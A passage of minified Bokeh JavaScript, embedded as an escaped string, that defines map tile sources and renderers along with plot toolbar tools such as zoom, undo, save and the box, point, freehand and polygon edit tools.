u=e.get_tiles_by_extent(r,l),c=[],_=[],p=[],d=[],f=0,v=u;f<v.length;f++){var m=v[f],g=m[0],y=m[1],b=m[2],x=e.tile_xyz_to_key(g,y,b),w=e.tiles[x];if(null!=w&&w.loaded)_.push(x);else if(this.model.render_parents){var k=e.get_closest_parent_by_tile_xyz(g,y,b),S=k[0],C=k[1],T=k[2],A=e.tile_xyz_to_key(S,C,T),E=e.tiles[A];if(null!=E&&E.loaded&&!I.includes(p,A)&&p.push(A),o)for(var M=e.children_by_tile_xyz(g,y,b),O=0,z=M;O<z.length;O++){var P=z[O],j=P[0],N=P[1],F=P[2],D=e.tile_xyz_to_key(j,N,F);D in e.tiles&&d.push(D)}}null==w&&c.push(m)}this._render_tiles(p),this._render_tiles(d),this._render_tiles(_),null!=this.render_timer&&clearTimeout(this.render_timer),this.render_timer=setTimeout(function(){return t._fetch_tiles(c)},65)},t}(s.RendererView);i.TileRendererView=c;var _=function(e){function t(t){return e.call(this,t)||this}return r.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileRenderer\\\",this.prototype.default_view=c,this.define({alpha:[h.Number,1],x_range_name:[h.String,\\\"default\\\"],y_range_name:[h.String,\\\"default\\\"],smoothing:[h.Bool,!0],tile_source:[h.Instance,function(){return new n.WMTSTileSource}],render_parents:[h.Bool,!0]}),this.override({level:\\\"underlay\\\"})},t}(s.Renderer);(i.TileRenderer=_).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(223),s=t(15),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TileSource\\\",this.define({url:[s.String,\\\"\\\"],tile_size:[s.Number,256],max_zoom:[s.Number,30],min_zoom:[s.Number,0],extra_url_vars:[s.Any,{}],attribution:[s.String,\\\"\\\"],x_origin_offset:[s.Number],y_origin_offset:[s.Number],initial_resolution:[s.Number]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.tiles={},this.pool=new o.ImagePool,this._normalize_case()},t.prototype.string_lookup_replace=function(t,e){var i=t;for(var n in e){var r=e[n];i=i.replace(\\\"{\\\"+n+\\\"}\\\",r)}return i},t.prototype._normalize_case=function(){var t=this.url.replace(\\\"{x}\\\",\\\"{X}\\\").replace(\\\"{y}\\\",\\\"{Y}\\\").replace(\\\"{z}\\\",\\\"{Z}\\\").replace(\\\"{q}\\\",\\\"{Q}\\\").replace(\\\"{xmin}\\\",\\\"{XMIN}\\\").replace(\\\"{ymin}\\\",\\\"{YMIN}\\\").replace(\\\"{xmax}\\\",\\\"{XMAX}\\\").replace(\\\"{ymax}\\\",\\\"{YMAX}\\\");this.url=t},t.prototype.tile_xyz_to_key=function(t,e,i){return t+\\\":\\\"+e+\\\":\\\"+i},t.prototype.key_to_tile_xyz=function(t){var e=t.split(\\\":\\\").map(function(t){return parseInt(t)}),i=e[0],n=e[1],r=e[2];return[i,n,r]},t.prototype.sort_tiles_from_center=function(t,e){var i=e[0],n=e[1],r=e[2],o=e[3],s=(r-i)/2+i,a=(o-n)/2+n;t.sort(function(t,e){var i=Math.sqrt(Math.pow(s-t[0],2)+Math.pow(a-t[1],2)),n=Math.sqrt(Math.pow(s-e[0],2)+Math.pow(a-e[1],2));return i-n})},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.Model);(i.TileSource=a).initClass()},function(t,e,i){var n=t(33);function c(t,e){return n.wgs84_mercator.forward([t,e])}function _(t,e){return n.wgs84_mercator.inverse([t,e])}i.geographic_to_meters=c,i.meters_to_geographic=_,i.geographic_extent_to_meters=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=c(e,i),s=o[0],a=o[1],l=c(n,r),h=l[0],u=l[1];return[s,a,h,u]},i.meters_extent_to_geographic=function(t){var e=t[0],i=t[1],n=t[2],r=t[3],o=_(e,i),s=o[0],a=o[1],l=_(n,r),h=l[0],u=l[1];return[s,a,h,u]}},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"TMSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars);return n.replace(\\\"{X}\\\",t.toString()).replace(\\\"{Y}\\\",e.toString()).replace(\\\"{Z}\\\",i.toString())},t}(r.MercatorTileSource);(i.TMSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(225),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"WMTSTileSource\\\"},t.prototype.get_image_url=function(t,e,i){var n=this.string_lookup_replace(this.url,this.extra_url_vars),r=this.tms_to_wmts(t,e,i),o=r[0],s=r[1],a=r[2];return n.replace(\\\"{X}\\\",o.toString()).replace(\\\"{Y}\\\",s.toString()).replace(\\\"{Z}\\\",a.toString())},t}(r.MercatorTileSource);(i.WMTSTileSource=o).initClass()},function(t,e,i){var n=t(391),r=t(241),o=t(19),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._clicked=function(){this.model.do.emit()},e}(r.ButtonToolButtonView);i.ActionToolButtonView=s;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.do,function(){return t.doit()})},t}(r.ButtonToolView);i.ActionToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.button_view=s,e.do=new o.Signal0(e,\\\"do\\\"),e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ActionTool\\\"},t}(r.ButtonTool);(i.ActionTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=t(44),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.css_classes=function(){return t.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button-custom-action\\\")},e}(r.ActionToolButtonView);i.CustomActionButtonView=a;var l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.model.callback;s.isFunction(t)?t(this,{}):t.execute(this,{})},e}(r.ActionToolView);i.CustomActionView=l;var h=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Custom Action\\\",e.button_view=a,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"CustomAction\\\",this.prototype.default_view=l,this.define({action_tooltip:[o.String,\\\"Perform a Custom Action\\\"],callback:[o.Any],icon:[o.String]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.action_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.CustomAction=h).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){window.open(this.model.redirect)},e}(r.ActionToolView);i.HelpToolView=s;var a=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Help\\\",e.icon=\\\"bk-tool-icon-help\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"HelpTool\\\",this.prototype.default_view=s,this.define({help_tooltip:[o.String,\\\"Click the question mark to learn more about Bokeh plot tools.\\\"],redirect:[o.String,\\\"https://bokeh.pydata.org/en/latest/docs/user_guide/tools.html#built-in-tools\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.help_tooltip},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.HelpTool=a).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_redo()})},t.prototype.doit=function(){this.plot_view.redo()},t}(r.ActionToolView);i.RedoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Redo\\\",e.icon=\\\"bk-tool-icon-redo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"RedoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.RedoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.reset()},e}(r.ActionToolView);i.ResetToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Reset\\\",e.icon=\\\"bk-tool-icon-reset\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ResetTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.ResetTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){this.plot_view.save(\\\"bokeh_plot\\\")},e}(r.ActionToolView);i.SaveToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Save\\\",e.icon=\\\"bk-tool-icon-save\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"SaveTool\\\",this.prototype.default_view=o},t}(r.ActionTool);(i.SaveTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.plot_view.state_changed,function(){return t.model.disabled=!t.plot_view.can_undo()})},t.prototype.doit=function(){this.plot_view.undo()},t}(r.ActionToolView);i.UndoToolView=o;var s=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Undo\\\",e.icon=\\\"bk-tool-icon-undo\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"UndoTool\\\",this.prototype.default_view=o,this.override({disabled:!0})},t}(r.ActionTool);(i.UndoTool=s).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomInToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom In\\\",e.icon=\\\"bk-tool-icon-zoom-in\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomInTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomInTool=l).initClass()},function(t,e,i){var n=t(391),r=t(232),o=t(46),s=t(15),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.doit=function(){var t=this.plot_model.frame,e=this.model.dimensions,i=\\\"width\\\"==e||\\\"both\\\"==e,n=\\\"height\\\"==e||\\\"both\\\"==e,r=o.scale_range(t,-this.model.factor,i,n);this.plot_view.push_state(\\\"zoom_out\\\",{range:r}),this.plot_view.update_range(r,!1,!0),this.model.document&&this.model.document.interactive_start(this.plot_model.plot)},e}(r.ActionToolView);i.ZoomOutToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Zoom Out\\\",e.icon=\\\"bk-tool-icon-zoom-out\\\",e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"ZoomOutTool\\\",this.prototype.default_view=a,this.define({factor:[s.Percent,.1],dimensions:[s.Dimensions,\\\"both\\\"]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this._get_dim_tooltip(this.tool_name,this.dimensions)},enumerable:!0,configurable:!0}),t}(r.ActionTool);(i.ZoomOutTool=l).initClass()},function(t,e,i){var n=t(391),r=t(6),o=t(266),s=t(5),a=t(15),l=t(38),h=t(44),u=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),t.prototype.initialize=function(t){var e=this;i.prototype.initialize.call(this,t),this.connect(this.model.change,function(){return e.render()}),this.el.addEventListener(\\\"click\\\",function(){return e._clicked()}),this.render()},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-toolbar-button\\\")},t.prototype.render=function(){s.empty(this.el);var t=this.model.computed_icon;h.isString(t)&&(l.startsWith(t,\\\"data:image\\\")?this.el.style.backgroundImage=\\\"url('\\\"+t+\\\"')\\\":this.el.classList.add(t)),this.el.title=this.model.tooltip},t}(r.DOMView);i.ButtonToolButtonView=u;var c=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(o.ToolView);i.ButtonToolView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ButtonTool\\\",this.internal({disabled:[a.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.icon},enumerable:!0,configurable:!0}),t}(o.Tool);(i.ButtonTool=_).initClass()},function(t,e,i){var n=t(391),o=t(5),r=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){if(null==this._draw_basepoint&&null==this._basepoint){var e=t.shiftKey;this._select_event(t,e,this.model.renderers)}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];if(t.keyCode===o.Keys.Backspace)this._delete_selected(n);else if(t.keyCode==o.Keys.Esc){var r=n.data_source;r.selection_manager.clear()}}},e.prototype._set_extent=function(t,e,i,n){var r=t[0],o=t[1],s=e[0],a=e[1];void 0===n&&(n=!1);var l=this.model.renderers[0],h=this.plot_model.frame,u=l.glyph,c=l.data_source,_=h.xscales[l.x_range_name],p=h.yscales[l.y_range_name],d=_.r_invert(r,o),f=d[0],v=d[1],m=p.r_invert(s,a),g=m[0],y=m[1],b=[(f+v)/2,(g+y)/2],x=b[0],w=b[1],k=[v-f,y-g],S=k[0],C=k[1],T=[u.x.field,u.y.field],A=T[0],E=T[1],M=[u.width.field,u.height.field],O=M[0],z=M[1];if(i)this._pop_glyphs(c,this.model.num_objects),A&&c.get_array(A).push(x),E&&c.get_array(E).push(w),O&&c.get_array(O).push(S),z&&c.get_array(z).push(C),this._pad_empty_columns(c,[A,E,O,z]);else{var P=c.data[A].length-1;A&&(c.data[A][P]=x),E&&(c.data[E][P]=w),O&&(c.data[O][P]=S),z&&(c.data[z][P]=C)}this._emit_cds_changes(c,!0,!1,n)},e.prototype._update_box=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),null!=this._draw_basepoint){var n=[t.sx,t.sy],r=this.plot_model.frame,o=this.model.dimensions,s=this.model._get_dim_limits(this._draw_basepoint,n,r,o);if(null!=s){var a=s[0],l=s[1];this._set_extent(a,l,e,i)}}},e.prototype._doubletap=function(t){this.model.active&&(null!=this._draw_basepoint?(this._update_box(t,!1,!0),this._draw_basepoint=null):(this._draw_basepoint=[t.sx,t.sy],this._select_event(t,!0,this.model.renderers),this._update_box(t,!0,!1)))},e.prototype._move=function(t){this._update_box(t,!1,!1)},e.prototype._pan_start=function(t){if(t.shiftKey){if(null!=this._draw_basepoint)return;this._draw_basepoint=[t.sx,t.sy],this._update_box(t,!0,!1)}else{if(null!=this._basepoint)return;this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy]}},e.prototype._pan=function(t,e,i){if(void 0===e&&(e=!1),void 0===i&&(i=!1),t.shiftKey){if(null==this._draw_basepoint)return;this._update_box(t,e,i)}else{if(null==this._basepoint)return;this._drag_points(t,this.model.renderers)}},e.prototype._pan_end=function(t){if(this._pan(t,!1,!0),t.shiftKey)this._draw_basepoint=null;else{this._basepoint=null;for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}}},e}(s.EditToolView);i.BoxEditToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Box Edit Tool\\\",e.icon=\\\"bk-tool-icon-box-edit\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"BoxEditTool\\\",this.prototype.default_view=a,this.define({dimensions:[r.Dimensions,\\\"both\\\"],num_objects:[r.Int,0]})},t}(s.EditTool);(i.BoxEditTool=l).initClass()},function(t,e,i){var n=t(391),r=t(15),o=t(21),l=t(44),s=t(251),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._mouse_in_frame=!0,t}return n.__extends(t,e),t.prototype._move_enter=function(t){this._mouse_in_frame=!0},t.prototype._move_exit=function(t){this._mouse_in_frame=!1},t.prototype._map_drag=function(t,e,i){var n=this.plot_model.frame;if(!n.bbox.contains(t,e))return null;var r=n.xscales[i.x_range_name].invert(t),o=n.yscales[i.y_range_name].invert(e);return[r,o]},t.prototype._delete_selected=function(t){var e=t.data_source,i=e.selected.indices;i.sort();for(var n=0,r=e.columns();n<r.length;n++)for(var o=r[n],s=e.get_array(o),a=0;a<i.length;a++){var l=i[a];s.splice(l-a,1)}this._emit_cds_changes(e)},t.prototype._pop_glyphs=function(t,e){var i=t.columns();if(e&&i.length)for(var n=0,r=i;n<r.length;n++){var o=r[n],s=t.get_array(o),a=s.length-e+1;a<1||(l.isArray(s)||(s=Array.from(s),t.data[o]=s),s.splice(0,a))}},t.prototype._emit_cds_changes=function(t,e,i,n){void 0===e&&(e=!0),void 0===i&&(i=!0),void 0===n&&(n=!0),i&&t.selection_manager.clear(),e&&t.change.emit(),n&&(t.data=t.data,t.properties.data.change.emit())},t.prototype._drag_points=function(t,e){if(null!=this._basepoint){for(var i=this._basepoint,n=i[0],r=i[1],o=0,s=e;o<s.length;o++){var a=s[o],l=this._map_drag(n,r,a),h=this._map_drag(t.sx,t.sy,a);if(null!=h&&null!=l){for(var u=h[0],c=h[1],_=l[0],p=l[1],d=[u-_,c-p],f=d[0],v=d[1],m=a.glyph,g=a.data_source,y=[m.x.field,m.y.field],b=y[0],x=y[1],w=0,k=g.selected.indices;w<k.length;w++){var S=k[w];b&&(g.data[b][S]+=f),x&&(g.data[x][S]+=v)}g.change.emit()}}this._basepoint=[t.sx,t.sy]}},t.prototype._pad_empty_columns=function(t,e){for(var i=0,n=t.columns();i<n.length;i++){var r=n[i];o.includes(e,r)||t.get_array(r).push(this.model.empty_value)}},t.prototype._select_event=function(t,e,i){var n=this.plot_model.frame,r=t.sx,o=t.sy;if(!n.bbox.contains(r,o))return[];for(var s={type:\\\"point\\\",sx:r,sy:o},a=[],l=0,h=i;l<h.length;l++){var u=h[l],c=u.get_selection_manager(),_=u.data_source,p=[this.plot_view.renderer_views[u.id]],d=c.select(p,s,!0,e);d&&a.push(u),_.properties.selected.change.emit()}return a},t}(s.GestureToolView);i.EditToolView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"EditTool\\\",this.define({custom_icon:[r.String],custom_tooltip:[r.String],empty_value:[r.Any],renderers:[r.Array,[]]})},Object.defineProperty(t.prototype,\\\"tooltip\\\",{get:function(){return this.custom_tooltip||this.tool_name},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_icon\\\",{get:function(){return this.custom_icon||this.icon},enumerable:!0,configurable:!0}),t}(s.GestureTool);(i.EditTool=h).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),v=t(44),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._draw=function(t,e,i){if(void 0===i&&(i=!1),this.model.active){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=r[0],s=r[1],a=n.data_source,l=n.glyph,h=[l.xs.field,l.ys.field],u=h[0],c=h[1];if(\\\"new\\\"==e)this._pop_glyphs(a,this.model.num_objects),u&&a.get_array(u).push([o]),c&&a.get_array(c).push([s]),this._pad_empty_columns(a,[u,c]);else if(\\\"add\\\"==e){if(u){var _=a.data[u].length-1,p=a.get_array(u)[_];v.isArray(p)||(p=Array.from(p),a.data[u][_]=p),p.push(o)}if(c){var d=a.data[c].length-1,f=a.get_array(c)[d];v.isArray(f)||(f=Array.from(f),a.data[c][d]=f),f.push(s)}}this._emit_cds_changes(a,!0,!0,i)}}},e.prototype._pan_start=function(t){this._draw(t,\\\"new\\\")},e.prototype._pan=function(t){this._draw(t,\\\"add\\\")},e.prototype._pan_end=function(t){this._draw(t,\\\"add\\\",!0)},e.prototype._tap=function(t){this._select_event(t,t.shiftKey,this.model.renderers)},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Esc?n.data_source.selection_manager.clear():t.keyCode===r.Keys.Backspace&&this._delete_selected(n)}},e}(s.EditToolView);i.FreehandDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Freehand Draw Tool\\\",e.icon=\\\"bk-tool-icon-freehand-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"FreehandDrawTool\\\",this.prototype.default_view=a,this.define({num_objects:[o.Int,0]})},t}(s.EditTool);(i.FreehandDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),s=t(243),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._tap=function(t){var e=t.shiftKey,i=this._select_event(t,e,this.model.renderers);if(!i.length&&this.model.add){var n=this.model.renderers[0],r=this._map_drag(t.sx,t.sy,n);if(null!=r){var o=n.glyph,s=n.data_source,a=[o.x.field,o.y.field],l=a[0],h=a[1],u=r[0],c=r[1];this._pop_glyphs(s,this.model.num_objects),l&&s.get_array(l).push(u),h&&s.get_array(h).push(c),this._pad_empty_columns(s,[l,h]),s.change.emit(),s.data=s.data,s.properties.data.change.emit()}}},e.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&n.data_source.selection_manager.clear()}},e.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},e.prototype._pan=function(t){this.model.drag&&null!=this._basepoint&&this._drag_points(t,this.model.renderers)},e.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source,!1,!0,!0)}this._basepoint=null}},e}(s.EditToolView);i.PointDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Point Draw Tool\\\",e.icon=\\\"bk-tool-icon-point-draw\\\",e.event_type=[\\\"tap\\\",\\\"pan\\\",\\\"move\\\"],e.default_order=2,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PointDrawTool\\\",this.prototype.default_view=a,this.define({add:[o.Bool,!0],drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.EditTool);(i.PointDrawTool=l).initClass()},function(t,e,i){var n=t(391),r=t(5),o=t(15),y=t(44),s=t(248),a=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t._initialized=!1,t}return n.__extends(t,e),t.prototype._tap=function(t){this._drawing?this._draw(t,\\\"add\\\",!0):this._select_event(t,t.shiftKey,this.model.renderers)},t.prototype._draw=function(t,e,i){var n;void 0===i&&(i=!1);var r=this.model.renderers[0],o=this._map_drag(t.sx,t.sy,r);if(this._initialized||this.activate(),null!=o){var s=o[0],a=o[1];n=this._snap_to_vertex(t,s,a),s=n[0],a=n[1];var l=r.data_source,h=r.glyph,u=[h.xs.field,h.ys.field],c=u[0],_=u[1];if(\\\"new\\\"==e)this._pop_glyphs(l,this.model.num_objects),c&&l.get_array(c).push([s,s]),_&&l.get_array(_).push([a,a]),this._pad_empty_columns(l,[c,_]);else if(\\\"edit\\\"==e){if(c){var p=l.data[c][l.data[c].length-1];p[p.length-1]=s}if(_){var d=l.data[_][l.data[_].length-1];d[d.length-1]=a}}else if(\\\"add\\\"==e){if(c){var f=l.data[c].length-1,p=l.get_array(c)[f],v=p[p.length-1];p[p.length-1]=s,y.isArray(p)||(p=Array.from(p),l.data[c][f]=p),p.push(v)}if(_){var m=l.data[_].length-1,d=l.get_array(_)[m],g=d[d.length-1];d[d.length-1]=a,y.isArray(d)||(d=Array.from(d),l.data[_][m]=d),d.push(g)}}this._emit_cds_changes(l,!0,!1,i)}},t.prototype._show_vertices=function(){for(var t=[],e=[],i=0;i<this.model.renderers.length;i++){var n=this.model.renderers[i],r=n.data_source,o=n.glyph,s=[o.xs.field,o.ys.field],a=s[0],l=s[1];if(a)for(var h=0,u=r.get_array(a);h<u.length;h++){var c=u[h];Array.prototype.push.apply(t,c)}if(l)for(var _=0,p=r.get_array(l);_<p.length;_++){var c=p[_];Array.prototype.push.apply(e,c)}this._drawing&&i==this.model.renderers.length-1&&(t.splice(t.length-1,1),e.splice(e.length-1,1))}this._set_vertices(t,e)},t.prototype._doubletap=function(t){this.model.active&&(this._drawing?(this._drawing=!1,this._draw(t,\\\"edit\\\",!0)):(this._drawing=!0,this._draw(t,\\\"new\\\",!0)))},t.prototype._move=function(t){this._drawing&&this._draw(t,\\\"edit\\\")},t.prototype._remove=function(){var t=this.model.renderers[0],e=t.data_source,i=t.glyph,n=[i.xs.field,i.ys.field],r=n[0],o=n[1];if(r){var s=e.data[r].length-1,a=e.get_array(r)[s];a.splice(a.length-1,1)}if(o){var l=e.data[o].length-1,h=e.get_array(o)[l];h.splice(h.length-1,1)}this._emit_cds_changes(e)},t.prototype._keyup=function(t){if(this.model.active&&this._mouse_in_frame)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];t.keyCode===r.Keys.Backspace?this._delete_selected(n):t.keyCode==r.Keys.Esc&&(this._drawing&&(this._remove(),this._drawing=!1),n.data_source.selection_manager.clear())}},t.prototype._pan_start=function(t){this.model.drag&&(this._select_event(t,!0,this.model.renderers),this._basepoint=[t.sx,t.sy])},t.prototype._pan=function(t){if(null!=this._basepoint&&this.model.drag){for(var e=this._basepoint,i=e[0],n=e[1],r=0,o=this.model.renderers;r<o.length;r++){var s=o[r],a=this._map_drag(i,n,s),l=this._map_drag(t.sx,t.sy,s);if(null!=l&&null!=a){var h=s.data_source,u=s.glyph,c=[u.xs.field,u.ys.field],_=c[0],p=c[1];if(_||p){for(var d=l[0],f=l[1],v=a[0],m=a[1],g=[d-v,f-m],y=g[0],b=g[1],x=0,w=h.selected.indices;x<w.length;x++){var k=w[x],S=void 0,C=void 0,T=void 0;_&&(C=h.data[_][k]),p?(T=h.data[p][k],S=T.length):S=C.length;for(var A=0;A<S;A++)C&&(C[A]+=y),T&&(T[A]+=b)}h.change.emit()}}}this._basepoint=[t.sx,t.sy]}},t.prototype._pan_end=function(t){if(this.model.drag){this._pan(t);for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e];this._emit_cds_changes(n.data_source)}this._basepoint=null}},t.prototype.activate=function(){var t=this;if(this.model.vertex_renderer&&this.model.active){if(this._show_vertices(),!this._initialized)for(var e=0,i=this.model.renderers;e<i.length;e++){var n=i[e],r=n.data_source;r.connect(r.properties.data.change,function(){return t._show_vertices()})}this._initialized=!0}},t.prototype.deactivate=function(){this._drawing&&(this._remove(),this._drawing=!1),this.model.vertex_renderer&&this._hide_vertices()},t}(s.PolyToolView);i.PolyDrawToolView=a;var l=function(i){function t(t){var e=i.call(this,t)||this;return e.tool_name=\\\"Polygon Draw Tool\\\",e.icon=\\\"bk-tool-icon-poly-draw\\\",e.event_type=[\\\"pan\\\",\\\"tap\\\",\\\"move\\\"],e.default_order=3,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"PolyDrawTool\\\",this.prototype.default_view=a,this.define({drag:[o.Bool,!0],num_objects:[o.Int,0]})},t}(s.PolyTool);(i.PolyDrawTool=l).initClass()},function(t,e,i){var n=t(391),o=t(5),c=t(44),r=t(248),s=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t._drawing=!1,t}return n.__extends(t,e),t.prototype._doubletap=function(t){if(this.model.active){var e=this._map_drag(t.sx,t.sy,this.model.vertex_renderer);if(null!=e){var i=e[0],n=e[1],r=this._select_event(t,!1,[this.model.vertex_renderer]),o=this.model.vertex_renderer.data_source,s=this.model.vertex_renderer.glyph,a=[s.x.field,s.y.field],l=a[0],h=a[1];if(r.length&&null!=this._selected_renderer){var 